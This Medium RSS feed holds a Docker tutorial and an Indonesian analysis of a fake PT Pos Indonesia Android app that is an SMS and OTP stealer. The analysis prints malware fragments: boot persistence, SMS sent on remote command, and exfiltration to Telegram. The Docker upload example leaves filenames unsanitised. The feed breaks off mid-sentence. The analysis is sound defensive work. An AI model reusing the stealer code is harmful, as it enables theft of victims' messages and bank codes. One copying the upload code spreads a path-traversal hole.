<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Adrian Syah Abidin on Medium]]></title>
        <description><![CDATA[Stories by Adrian Syah Abidin on Medium]]></description>
        <link>https://medium.com/@adriansyah1230?source=rss-bde419e52529------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*NqZplc-AyHoVT-jDy98wbg.png</url>
            <title>Stories by Adrian Syah Abidin on Medium</title>
            <link>https://medium.com/@adriansyah1230?source=rss-bde419e52529------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 01:41:23 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@adriansyah1230/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Advanced Docker Mastery: The Complete Guide to Orchestration, Swarm, & Security]]></title>
            <link>https://medium.com/@adriansyah1230/advanced-docker-mastery-the-complete-guide-to-orchestration-swarm-security-aa32704546e8?source=rss-bde419e52529------2</link>
            <guid isPermaLink="false">https://medium.com/p/aa32704546e8</guid>
            <category><![CDATA[docker-swarm]]></category>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[docker-volume]]></category>
            <category><![CDATA[docker-networking]]></category>
            <category><![CDATA[docker-compose]]></category>
            <dc:creator><![CDATA[Adrian Syah Abidin]]></dc:creator>
            <pubDate>Sat, 04 Apr 2026 13:43:35 GMT</pubDate>
            <atom:updated>2026-04-04T13:43:35.593Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uHYpQWu3ifigPabA9QLb3w.png" /></figure><p><strong>Written By </strong>: Adrian Syah Abidin</p><p><strong>Docker Mastery: Advanced Containerization Workflows</strong></p><p>Welcome to the world of advanced containerization. As a budding DevOps engineer, you already know that Docker allows you to package applications into portable, lightweight containers. However, running a single container on your laptop is just the beginning.</p><p>In this comprehensive module, we will explore how to connect containers, manage multi-service applications, persist critical data, scale across multiple servers, and secure your infrastructure. By the end of this guide, you will be equipped with the practical strategies needed to manage real-world, enterprise-grade Docker environments.</p><h3>1. Docker Networking: Connecting Your Workloads</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FbKFMS5C4CG0%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DbKFMS5C4CG0&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FbKFMS5C4CG0%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/0a1c88ceea0410e8db287a14db23bdf3/href">https://medium.com/media/0a1c88ceea0410e8db287a14db23bdf3/href</a></iframe><p>By default, Docker containers have networking enabled, allowing them to make outbound connections to the internet. However, an isolated container is unaware of the type of network it is attached to or whether its peers are also Docker workloads. It simply sees a network interface with an IP address, a gateway, and a routing table.</p><p>Docker Networking provides a controlled way to manage and regulate how containers communicate with one another, with the host machine, and with external clients.</p><h3>Why User-Defined Networks Matter</h3><ul><li><strong>Before Using Docker Network:</strong> Containers usually have to reach one another through the host’s IP address and a published port. This is similar to finding a room in a school by looking up its exact GPS coordinates — clunky and prone to breaking if things move.</li><li><strong>After Using Docker Network:</strong> Containers on a user-defined network can communicate using their container names via Docker’s internal DNS resolution. This is like finding a room by its name, such as “Science Lab.” It is much easier to manage than hardcoded IP addresses.</li></ul><h3>Docker Network Drivers</h3><p>Docker’s networking system is pluggable, utilizing different drivers for specific scenarios:</p><ul><li><strong>Bridge (Default):</strong> Used for standalone containers running on the same host. This is best for a web app, API, and database running together on a single VM or laptop.</li><li><strong>Host:</strong> Connects the container directly to the host’s network stack, sharing the host’s IP and ports. This is ideal for high-performance workloads where you want minimal network overhead.</li><li><strong>Overlay:</strong> Connects containers across multiple separate Docker hosts. This driver is essential for multi-node clusters and distributed applications, most commonly used with Docker Swarm.</li><li><strong>None:</strong> Completely isolates the container from the network stack of the host and other containers. This is used for special-purpose workloads that require strict network isolation. <em>(Note: The “none” network is not available for Swarm services.)</em></li></ul><h3>Connectivity Example and Core Commands</h3><p>A simple single-host workflow involves creating a bridge network, attaching two containers, and letting one call the other by name.</p><pre># Create a user-defined bridge network<br>docker network create my-net<br><br># Run a web server container on the network<br>docker run -d --name flask_container --network my-net my-hello<br># Run a client container on the same network to test connectivity<br>docker run --rm -it --name client_container --network my-net alpine sh<br># Inside the client container, ping the web server by its name<br>wget -qO- http://flask_container:8000/</pre><p><strong>Common Network Management Commands:</strong></p><ul><li>docker network ls: List all networks.</li><li>docker network create &lt;network_name&gt;: Create a new network.</li><li>docker network connect &lt;network_name&gt; &lt;container_name&gt;: Connect an existing container to a network.</li><li>docker network disconnect &lt;network_name&gt; &lt;container_name&gt;: Disconnect a container.</li><li>docker network rm &lt;network_name&gt;: Remove a network.</li></ul><h3>2. Docker Compose: Multi-Service Orchestration</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FQw9zlE3t8Ko%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DQw9zlE3t8Ko&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FQw9zlE3t8Ko%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/16dce8e9c5d239507d131fe95ad78661/href">https://medium.com/media/16dce8e9c5d239507d131fe95ad78661/href</a></iframe><p>In real-world projects, an application rarely lives in just one container. A standard setup often includes a frontend web server, a backend API, and a database. Typing out multiple long docker run commands to start them all is tedious and error-prone.</p><p><strong>Docker Compose</strong> is a tool used to define and run multi-container applications from a single YAML configuration file (usually named docker-compose.yml). Instead of executing multiple commands, you declare services, networks, volumes, ports, and environment variables once, and start the entire stack simultaneously.</p><h3>Why Students Should Learn Compose</h3><p>Compose accelerates application development, ensures portability, and facilitates team collaboration. When working on a group project, everyone can share the exact same configuration file instead of manually recreating the stack. <em>(Note: If you are building a custom application, you still use a </em><em>Dockerfile to build the image; Compose simply organizes how those images run together).</em></p><h3>Compose Example: Web and Database Stack</h3><p>Here is a typical docker-compose.yml defining an Nginx web server and a MySQL database on a shared network with persistent storage.</p><pre>version: &quot;3.9&quot;<br><br>services:<br>  web:<br>    image: nginx<br>    ports:<br>      - &quot;8080:80&quot;<br>    volumes:<br>      - ./web:/usr/share/nginx/html<br>    networks:<br>      - appnet<br><br>  db:<br>    image: mysql:5.7<br>    environment:<br>      MYSQL_ROOT_PASSWORD: example<br>    volumes:<br>      - db_data:/var/lib/mysql<br>    networks:<br>      - appnet<br><br>volumes:<br>  db_data:<br><br>networks:<br>  appnet:</pre><h3>Common Lifecycle Commands</h3><p>Docker Compose gives you simple commands to manage the lifecycle of your entire application stack:</p><pre># Build the application images (if applicable)<br>docker compose build<br><br># Start the services in detached mode (running in the background)<br>docker compose up -d<br><br># Stop and remove the services, networks, and containers<br>docker compose down</pre><h3>3. Docker Volumes: Data Persistence and Management</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fp2PH_YPCsis%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dp2PH_YPCsis&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fp2PH_YPCsis%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/ca98cfdfea3ec8ee75ae02997b6abdc6/href">https://medium.com/media/ca98cfdfea3ec8ee75ae02997b6abdc6/href</a></iframe><p>One of the biggest hurdles beginners face is understanding the ephemeral nature of containers: when a container is deleted, all the files written inside it disappear. However, databases, user uploads, and system logs need to survive container restarts.</p><p><strong>Docker Volumes</strong> solve this problem by storing data outside of the container’s writable layer, directly on the host machine.</p><h3>Core Commands and Shared Storage</h3><pre># Create a new volume<br>docker volume create my_volume<br><br># List all volumes<br>docker volume ls<br><br># Inspect a volume for details (like host mount location)<br>docker volume inspect my_volume<br><br># Remove a volume<br>docker volume rm my_volume</pre><p>You can mount a volume into a container using the -v or --mount flag. Volumes can also be shared among multiple containers simultaneously, allowing them to read and write the exact same data.</p><pre># Mount the same volume to two different containers<br>docker run -d -v shared_volume:/data nginx<br>docker run -d -v shared_volume:/data busybox</pre><h3>Real-World Scenario: Python File Upload App</h3><p>Imagine a Flask application that accepts file uploads. To ensure files aren’t lost when the container updates, we must map a volume to the upload directory.</p><p><strong>1. Python Code (</strong><strong>volume.py):</strong></p><pre>from flask import Flask, request<br>import os<br><br>app = Flask(__name__)<br>app.config[&#39;UPLOAD_FOLDER&#39;] = &#39;/uploads&#39;<br><br>@app.route(&#39;/upload&#39;, methods=[&#39;POST&#39;])<br>def upload_file(): <br>    if &#39;file&#39; not in request.files: <br>        return &#39;No file part&#39; <br>    file = request.files[&#39;file&#39;] <br>    if file and file.filename != &#39;&#39;: <br>        filepath = os.path.join(app.config[&#39;UPLOAD_FOLDER&#39;], file.filename) <br>        file.save(filepath) <br>        return f&#39;File uploaded to {filepath}&#39;<br><br>if __name__ == &quot;__main__&quot;: <br>    app.run(host=&quot;0.0.0.0&quot;, port=5000)</pre><p><strong>2. The </strong><strong>Dockerfile:</strong></p><pre>FROM python:3.9-slim<br>WORKDIR /app<br>COPY . /app<br>RUN pip install Flask<br>EXPOSE 5000<br>CMD [&quot;python3&quot;, &quot;volume.py&quot;]</pre><p><strong>3. Execution Commands:</strong></p><pre>docker build -t my-file-hosting .<br><br># Run the container mapping a local host folder to the container&#39;s /uploads directory<br>docker run -d -p 5000:5000 \<br>  -v /home/user/my-docker-app/uploads:/uploads \<br>  my-file-hosting<br><br># Test the upload<br>curl -X POST http://localhost:5000/upload -F &#39;file=@/path/to/your/file.txt&#39;</pre><p>Even if the my-file-hosting container is destroyed and recreated, the uploaded files remain safe on the host machine.</p><h3>4. Docker Swarm: Cluster Architecture</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FTm0Q5zr3FL4%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DTm0Q5zr3FL4&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FTm0Q5zr3FL4%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/a56ea6dabb279a029cf6c51f8f102ec9/href">https://medium.com/media/a56ea6dabb279a029cf6c51f8f102ec9/href</a></iframe><p>Once you master running containers on a single host, the next evolutionary step is clustering. <strong>Docker Swarm</strong> is Docker’s native orchestration system for managing multiple Docker Engines as one unified cluster.</p><p>In Swarm mode, containers are grouped into <em>services</em>, and those services are distributed across different nodes (servers) in the cluster. Swarm handles load balancing, internal DNS routing, rolling updates, scaling, and self-healing.</p><h3>Manager and Worker Nodes</h3><p>A Swarm cluster is divided into two primary roles:</p><ul><li><strong>Manager Nodes:</strong> Initialize the cluster, maintain the desired state of services, handle scheduling, and generate tokens for new nodes.</li><li><strong>Worker Nodes:</strong> Join the cluster using the manager’s token and execute the container tasks assigned to them.</li></ul><p>If a worker node crashes, the manager automatically reschedules its tasks to healthy nodes, ensuring the application remains available.</p><h3>Swarm Workflow Scenario</h3><p>In a classroom lab with three Virtual Machines (one manager, two workers), you can easily demonstrate distributed scheduling:</p><pre># 1. Initialize Swarm on the Manager VM<br>docker swarm init --advertise-addr &lt;MANAGER_IP&gt;<br><br># 2. Add Worker Nodes (Run this on the Worker VMs)<br>docker swarm join --token &lt;WORKER_TOKEN&gt; &lt;MANAGER_IP&gt;:2377<br><br># 3. Verify the cluster nodes (Run on Manager)<br>docker node ls<br><br># 4. Deploy a scalable service across the cluster<br>docker service create --name webserver --replicas 3 -p 80:80 nginx<br><br># 5. Inspect the service and see where containers are running<br>docker service ls<br>docker service ps webserver<br><br># 6. Scale the service dynamically to handle more traffic<br>docker service scale webserver=5<br><br># 7. Perform a rolling update without downtime<br>docker service update --image nginx:latest webserver<br><br># 8. Clean up<br>docker service rm webserver</pre><h3>5. Security in Docker: Best Practices</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F9xz9sBjZwXs%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D9xz9sBjZwXs&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F9xz9sBjZwXs%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/68413056a1c4a44b1add4f4bc3c77747/href">https://medium.com/media/68413056a1c4a44b1add4f4bc3c77747/href</a></iframe><p>Docker greatly improves efficiency, but it introduces unique security risks. Because all containers on a host share the same underlying Linux kernel, a vulnerability could potentially compromise the entire system. Container security is not optional; it is a fundamental part of DevOps.</p><h3>Namespace Isolation</h3><p>Docker relies heavily on <strong>Linux network namespaces</strong>, which isolate interfaces, routing tables, and IP settings between containers and the host. While this reduces conflicts, namespaces alone are not a complete security boundary. A secure design requires layering isolation with the principle of least privilege.</p><h3>Common Risks</h3><ul><li>Running containers as the root user.</li><li>Using untrusted, unverified public images containing malware.</li><li>Exposing unnecessary ports to the public internet.</li><li>Careless volume mounts granting access to sensitive host files.</li><li>Mounting /var/run/docker.sock, which gives a container full control over the host&#39;s Docker daemon.</li></ul><h3>Security Best Practices Checklist</h3><p>A simple rule of thumb: <em>If a container does not need a privilege, port, mount, or capability, do not grant it.</em></p><ul><li><strong>Do Not Run as Root:</strong> Set a non-root USER in your Dockerfile (e.g., USER appuser).</li><li><strong>Verify Images:</strong> Prefer official/verified images. Inspect their Dockerfiles before deployment.</li><li><strong>Vulnerability Scanning:</strong> Routinely scan images using tools like Trivy, Clair, or the built-in docker scan to catch outdated packages and CVEs.</li><li><strong>Limit Mounts:</strong> Never mount sensitive paths like /etc, /var, or /root without a strict operational requirement.</li><li><strong>Protect the Docker Socket:</strong> Avoid mounting docker.sock inside containers.</li><li><strong>Use Security Profiles:</strong> Implement AppArmor, SELinux, or seccomp profiles to limit runtime capabilities.</li><li><strong>Patch Management:</strong> Keep Docker Engine and your container images updated.</li><li><strong>Private Registries:</strong> Self-host your images with proper authentication.</li><li><strong>Monitoring &amp; Auditing:</strong> Add runtime detection tools like Falco, AuditD, the ELK Stack, or Prometheus/Grafana for alerting and visibility.</li></ul><h3>6. Introduction to Docker Orchestration</h3><p>Container orchestration is the automated process of deploying, managing, scaling, networking, and updating containers at a massive scale. Managing one or two containers manually is simple. Managing hundreds of microservices across dozens of servers requires automation.</p><h3>Why Orchestration Exists</h3><p>Orchestration tools answer critical operational questions:</p><ul><li><em>What happens if a container unexpectedly crashes?</em> (Self-healing replaces it).</li><li><em>How do we handle a massive spike in user traffic?</em> (Auto-scaling provisions more replicas).</li><li><em>How do we push a new version without users experiencing a 404 error?</em> (Rolling updates).</li><li><em>How do users reach the containers?</em> (Load balancing and service discovery).</li></ul><p>Docker Swarm is a fantastic introduction to these concepts, but as infrastructures grow, teams often evaluate Kubernetes.</p><h3>Docker Swarm vs. Kubernetes: A Practical Comparison</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F9_s3h_GVzZc%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D9_s3h_GVzZc&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F9_s3h_GVzZc%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/0ee4b85fa6a96ebf91ef088f75f06bd4/href">https://medium.com/media/0ee4b85fa6a96ebf91ef088f75f06bd4/href</a></iframe><p>Understanding when to use which tool is a critical DevOps skill.</p><ul><li><strong>Installation &amp; Setup:</strong> Docker Swarm is incredibly fast and easy to start because it is built directly into the Docker Engine. Kubernetes is much more complex, requiring extensive configuration and independent installation.</li><li><strong>Scaling and Self-Healing:</strong> Swarm supports manual service scaling and will automatically restart failed containers. Kubernetes supports advanced Horizontal and Vertical auto-scaling and highly flexible pod rescheduling.</li><li><strong>Load Balancing &amp; Service Discovery:</strong> Both offer excellent service discovery. Swarm handles load balancing natively via Swarm DNS. Kubernetes integrates deeply with external cloud load balancers and highly flexible DNS.</li><li><strong>Security:</strong> Swarm provides automated, built-in TLS for cluster communication. Kubernetes expands on this with robust Role-Based Access Control (RBAC), strict Namespaces, and granular Network Policies.</li><li><strong>Updates:</strong> Both support rolling updates, but Kubernetes offers highly advanced and flexible deployment strategies (like Canary or Blue-Green deployments).</li><li><strong>Ecosystem &amp; Community:</strong> Swarm has a smaller, simpler ecosystem. Kubernetes boasts a massive ecosystem supported by the CNCF, featuring add-ons like Helm, Istio, and ArgoCD.</li><li><strong>The Verdict:</strong> * Choose <strong>Docker Swarm</strong> for learning environments, small-to-medium scale projects, and teams seeking simplicity.</li><li>Choose <strong>Kubernetes</strong> for large-scale production, multi-cloud architectures, and complex, highly customized platform needs.</li></ul><p>By mastering Networking, Compose, Volumes, Swarm, and Security, you have built the foundational skills required to manage modern, scalable, and secure applications. Keep experimenting, keep building, and welcome to the DevOps ecosystem!</p><h4>🚀 Coming Up Next: The Ultimate Guide to Monitoring</h4><p>Stay tuned for the next module in our series, where we will transition from building infrastructure to observing and maintaining its health. In the next chapter, you will learn how to gain complete visibility into your systems. Topics will include:</p><ol><li><strong>Introduction to Monitoring:</strong> Understanding the “why” behind observability.</li><li><strong>Metrics &amp; KPIs:</strong> Identifying the Key Performance Indicators that actually matter.</li><li><strong>Monitoring Tools and Platforms:</strong> Exploring the landscape of modern monitoring stacks.</li><li><strong>Monitoring Implementation:</strong> Practical steps to get your monitoring systems running.</li><li><strong>Infrastructure &amp; Application Monitoring:</strong> Differentiating between server health and application performance.</li><li><strong>Analysis &amp; Reporting:</strong> Turning raw data into actionable insights and alerts.</li></ol><p>Get ready to take your DevOps expertise to the next level!</p><h3>References</h3><ul><li>Burns, B., Beda, J., Hightower, K., &amp; Evenson, L. (2022). <em>Kubernetes: Up and Running</em> (3rd ed.). O’Reilly Media.</li><li>Docker, Inc. (2026). <em>Docker Compose Overview</em>. Docker Docs. <a href="https://docs.docker.com/compose/">https://docs.docker.com/compose/</a></li><li>Docker, Inc. (2026). <em>Docker Network Drivers</em>. Docker Docs. <a href="https://docs.docker.com/network/">https://docs.docker.com/network/</a></li><li>Docker, Inc. (2026). <em>Docker Security</em>. Docker Docs. <a href="https://docs.docker.com/engine/security/">https://docs.docker.com/engine/security/</a></li><li>Docker, Inc. (2026). <em>Swarm mode overview</em>. Docker Docs. <a href="https://docs.docker.com/engine/swarm/">https://docs.docker.com/engine/swarm/</a></li><li>Docker, Inc. (2026). <em>Volumes</em>. Docker Docs. <a href="https://docs.docker.com/storage/volumes/">https://docs.docker.com/storage/volumes/</a></li><li>Poulton, N. (2025). <em>Docker Deep Dive</em>. Leanpub. <a href="https://leanpub.com/dockerdeepdive">https://leanpub.com/dockerdeepdive</a></li><li>Spacelift. (n.d.). <em>Docker networking</em>. Spacelift Blog. <a href="https://spacelift.io/blog/docker-networking">https://spacelift.io/blog/docker-networking</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aa32704546e8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mengungkap Ancaman Tersembunyi: Analisis Mendalam Malware Android Berkedok Aplikasi PT POS…]]></title>
            <link>https://medium.com/@adriansyah1230/mengungkap-ancaman-tersembunyi-analisis-mendalam-malware-android-berkedok-aplikasi-pt-pos-a139c230fff3?source=rss-bde419e52529------2</link>
            <guid isPermaLink="false">https://medium.com/p/a139c230fff3</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Adrian Syah Abidin]]></dc:creator>
            <pubDate>Tue, 17 Mar 2026 02:23:39 GMT</pubDate>
            <atom:updated>2026-03-17T02:23:39.515Z</atom:updated>
            <content:encoded><![CDATA[<h3>Mengungkap Ancaman Tersembunyi: Analisis Mendalam Malware Android Berkedok Aplikasi PT POS Indonesia</h3><h3>Pendahuluan</h3><p>Perkembangan teknologi mobile yang pesat telah membawa kemudahan luar biasa dalam kehidupan sehari-hari. Namun di balik kemudahan tersebut, ancaman keamanan siber juga berkembang dengan teknik yang semakin canggih dan berbahaya.</p><p>Platform Android menjadi salah satu target utama para penyerang siber. Salah satu modus operandi yang paling merugikan adalah teknik impersonation — penyamaran aplikasi berbahaya sebagai aplikasi resmi yang terpercaya, dirancang sedemikian rupa untuk mengelabui pengguna agar menginstalnya.</p><p>Dalam laporan analisis mendalam ini, kami akan membedah sebuah file APK mencurigakan yang menyamar sebagai aplikasi resmi PT Pos Indonesia. Melalui investigasi menggunakan teknik <em>reverse engineering</em> dengan tools seperti JADX dan Mobile Security Framework (MobSF), kami akan mengungkap arsitektur jahat yang tersembunyi di dalamnya dan mengidentifikasi potensi perilaku berbahaya yang dapat merugikan jutaan pengguna.</p><h3>Ringkasan Eksekutif: Bahaya Mengintai di Balik Aplikasi Palsu</h3><p>Setelah melakukan analisis mendalam terhadap file PT.POS_INDONESIA_2_3.apk, tim kami menemukan fakta mengkhawatirkan: aplikasi ini sama sekali bukan aplikasi resmi PT Pos Indonesia, melainkan malware berjenis SMS Stealer yang dirancang untuk mencuri data pribadi korban.</p><p>Temuan Utama:</p><ul><li>❌ Bukan aplikasi resmi — Package name tidak sesuai dengan identitas yang diklaim</li><li>❌ Mencuri SMS dan OTP — Dapat mengintersepsi semua pesan masuk, termasuk kode verifikasi bank</li><li>❌ Kendali jarak jauh — Terhubung dengan server penyerang melalui Firebase dan Telegram</li><li>❌ Bertahan dari restart — Aktif kembali otomatis meskipun perangkat dimatikan</li><li>❌ Merekam aktivitas — Dapat mengakses kamera, mikrofon, dan file pribadi</li></ul><p>Tingkat Risiko: KRITIS 🔴</p><h3>Identitas Aplikasi: Kedok yang Mulai Terbongkar</h3><h3>Informasi Dasar File</h3><p>ItemDetailNama FilePT.POS_INDONESIA_2_3.apkUkuran5.71 MBPackage Namecom.smodj.app.smstotelegramKategoriSMS Stealer / SpywareStatus KeamananMALICIOUS - HIGH RISKSkor MobSF47/100 (Sangat Rendah)</p><h3>Kejanggalan Pertama: Package Name Tidak Sesuai</h3><p>Dari hasil dekompilasi file AndroidManifest.xml, kami menemukan kejanggalan signifikan:</p><p>text</p><pre>Package Name: com.smodj.app.smstotelegram</pre><p>Package name ini tidak sesuai dengan aplikasi resmi PT Pos Indonesia. Yang lebih mencurigakan, kami menemukan referensi kode dengan nama yang sangat tidak profesional:</p><pre>com.bajingan.bangsat</pre><p>Apa artinya ini?</p><p>Temuan ini merupakan indikasi kuat bahwa aplikasi ini dibuat menggunakan malware builder atau merupakan hasil <em>repackage</em> — aplikasi yang dimodifikasi ulang dari kode sumber malware yang sudah ada. Developer profesional tidak akan pernah menggunakan penamaan seperti itu.</p><blockquote><em>Kesimpulan: Aplikasi ini dengan sengaja memalsukan identitas untuk mengelabui pengguna, sementara struktur internalnya menunjukkan tujuan yang jauh berbeda dari aplikasi kurir pada umumnya.</em></blockquote><h3>Analisis Permission: Petunjuk Kejahatan yang Semakin Jelas</h3><p>Setiap aplikasi Android harus mendeklarasikan <em>permission</em> (izin akses) yang diperlukan. Izin-izin ini ibarat “kunci” untuk mengakses fitur-fitur sensitif perangkat.</p><p>Dalam APK yang kami analisis, ditemukan serangkaian izin yang sangat mencurigakan dan tidak relevan dengan fungsi aplikasi pengiriman barang:</p><p>IzinFungsi NormalPotensi PenyalahgunaanREAD_SMSMembaca SMSMencuri SMS, OTP, kode verifikasiRECEIVE_SMSMenerima SMS masukMengintersepsi SMS sebelum dibaca penggunaSEND_SMSMengirim SMSMengirim SMS palsu tanpa sepengetahuan pemilikRECEIVE_BOOT_COMPLETEDMenjalankan kode saat bootMemastikan malware aktif setelah restartSYSTEM_ALERT_WINDOWMenampilkan overlaySerangan phishing dengan menutupi aplikasi lainREAD_LOGSMembaca log sistemMencari informasi debug untuk menghindari deteksiCAMERAMengakses kameraMemata-matai lingkungan korbanRECORD_AUDIOMerekam suaraMenyadap percakapan di sekitar perangkatREAD_EXTERNAL_STORAGEMembaca penyimpananMencuri foto, dokumen, dan file pribadi</p><h3>Dampak Nyata bagi Korban</h3><p>Kombinasi izin-izin ini menciptakan profil malware yang sempurna untuk:</p><ul><li>Mengintersepsi SMS — Termasuk OTP dari layanan perbankan</li><li>Memata-matai korban — Melalui kamera dan mikropon</li><li>Mengontrol perangkat dari jarak jauh — Menerima perintah dari server penyerang</li><li>Menyembunyikan diri — Dengan membaca log sistem untuk mendeteksi lingkungan analisis</li></ul><p>Tidak satu pun dari izin di atas relevan dengan fungsi aplikasi pelacakan kiriman barang. Ini adalah bukti digital pertama yang mengonfirmasi niat jahat di balik aplikasi ini.</p><h3>Mekanisme Persistence: Musuh yang Tak Kunjung Pergi</h3><p>Salah satu ciri malware serius adalah kemampuannya untuk bertahan hidup — bahkan ketika pengguna mencoba menyingkirkannya. Kami menemukan <em>broadcast receivers</em> yang mendengarkan event-event sistem kritis:</p><pre>&lt;receiver android:name=&quot;.BootReceiver&quot;&gt;<br>    &lt;intent-filter&gt;<br>        &lt;action android:name=&quot;android.intent.action.BOOT_COMPLETED&quot;/&gt;<br>        &lt;action android:name=&quot;android.intent.action.QUICKBOOT_POWERON&quot;/&gt;<br>        &lt;action android:name=&quot;android.intent.action.MY_PACKAGE_REPLACED&quot;/&gt;<br>    &lt;/intent-filter&gt;<br>&lt;/receiver&gt;</pre><h3>Apa Arti Kode di Atas?</h3><p>Aplikasi ini akan secara otomatis mengaktifkan diri kembali ketika:</p><ol><li>Perangkat dinyalakan ulang (BOOT_COMPLETED)</li><li>Perangkat melakukan quick boot (mode restart cepat)</li><li>Aplikasi diperbarui — Bahkan saat “update” sekalipun, malware tetap aktif</li></ol><p>Analogi Sederhana:</p><p>Bayangkan seorang tamu tak diundang yang tidak hanya masuk ke rumah Anda, tetapi juga meninggalkan kunci duplikat di saku jaketnya. Setiap kali Anda pulang dan membuka pintu, ia bisa masuk kembali. Itulah fungsi <em>persistence mechanism</em> dalam malware.</p><p>Teknik ini adalah standar industri pada malware Android serius. Ini memastikan bahwa meskipun pengguna mengira telah menghapus aplikasi atau me-restart perangkat, malware tetap aktif di latar belakang, terus mengumpulkan data.</p><h3>Kanal Command &amp; Control: Tali Penghubung dengan Penyerang</h3><p>Setiap malware canggih membutuhkan cara untuk menerima perintah dari server penyerang (C2). Kami menemukan infrastruktur C2 yang dibangun menggunakan Firebase Cloud Messaging (FCM):</p><p>xml</p><pre>&lt;service android:name=&quot;.MyFirebaseMessagingService&quot;&gt;<br>    &lt;intent-filter&gt;<br>        &lt;action android:name=&quot;com.google.firebase.MESSAGING_EVENT&quot;/&gt;<br>    &lt;/intent-filter&gt;<br>&lt;/service&gt;</pre><p>FCM adalah layanan push notification resmi dari Google. Namun dalam kasus ini, ia digunakan untuk tujuan jahat.</p><h3>MyFirebaseMessagingService: Jendela Komunikasi Berbahaya</h3><p>Dalam class MyFirebaseMessagingService, kami menemukan kode yang sangat mengkhawatirkan:</p><p>java</p><pre>public void onMessageReceived(RemoteMessage remoteMessage) {<br>    if (remoteMessage.getData().size() &gt; 0) {<br>        SendSMSClient.sendSMS(<br>            getApplicationContext(), <br>            remoteMessage.getData().get(&quot;sender_id&quot;), <br>            // parameter lainnya...<br>        );<br>    }<br>}</pre><p>Mekanisme Kerja:</p><ol><li>Penyerang mengirim push notification melalui Firebase</li><li>Aplikasi malware menerima pesan berisi perintah</li><li>SendSMSClient.sendSMS() dieksekusi secara otomatis</li><li>SMS dikirim dari perangkat korban tanpa sepengetahuan pemilik</li></ol><h3>Registrasi Perangkat: Identifikasi untuk Penargetan</h3><pre>public void onNewToken(String str) {<br>    new RemoteSMS(this).registerDevice(str);<br>}</pre><p>Setiap kali Firebase memberikan token baru (misalnya saat pertama install), aplikasi mengirimkan token tersebut ke server penyerang. Token FCM ini adalah identitas unik perangkat yang memungkinkan penyerang untuk:</p><ul><li>Menargetkan perangkat tertentu secara spesifik</li><li>Mengirim perintah yang dipersonalisasi</li><li>Melacak aktivitas perangkat</li></ul><blockquote><em>Catatan Penting: Ini bukan sekadar </em>forward SMS<em> biasa. Ini adalah Android Remote SMS Bot dengan kemampuan mengirim SMS massal berdasarkan perintah jarak jauh.</em></blockquote><h3>Telegram: Saluran Alternatif untuk Pencurian Data</h3><p>Nama package smstotelegram sudah memberikan petunjuk jelas. Aplikasi ini juga menggunakan Telegram Bot API sebagai kanal komunikasi dan pengiriman data curian:</p><p>java</p><pre>sendToTelegramAPI(context, telegramChatId, data, url, message)</pre><p>Mengapa 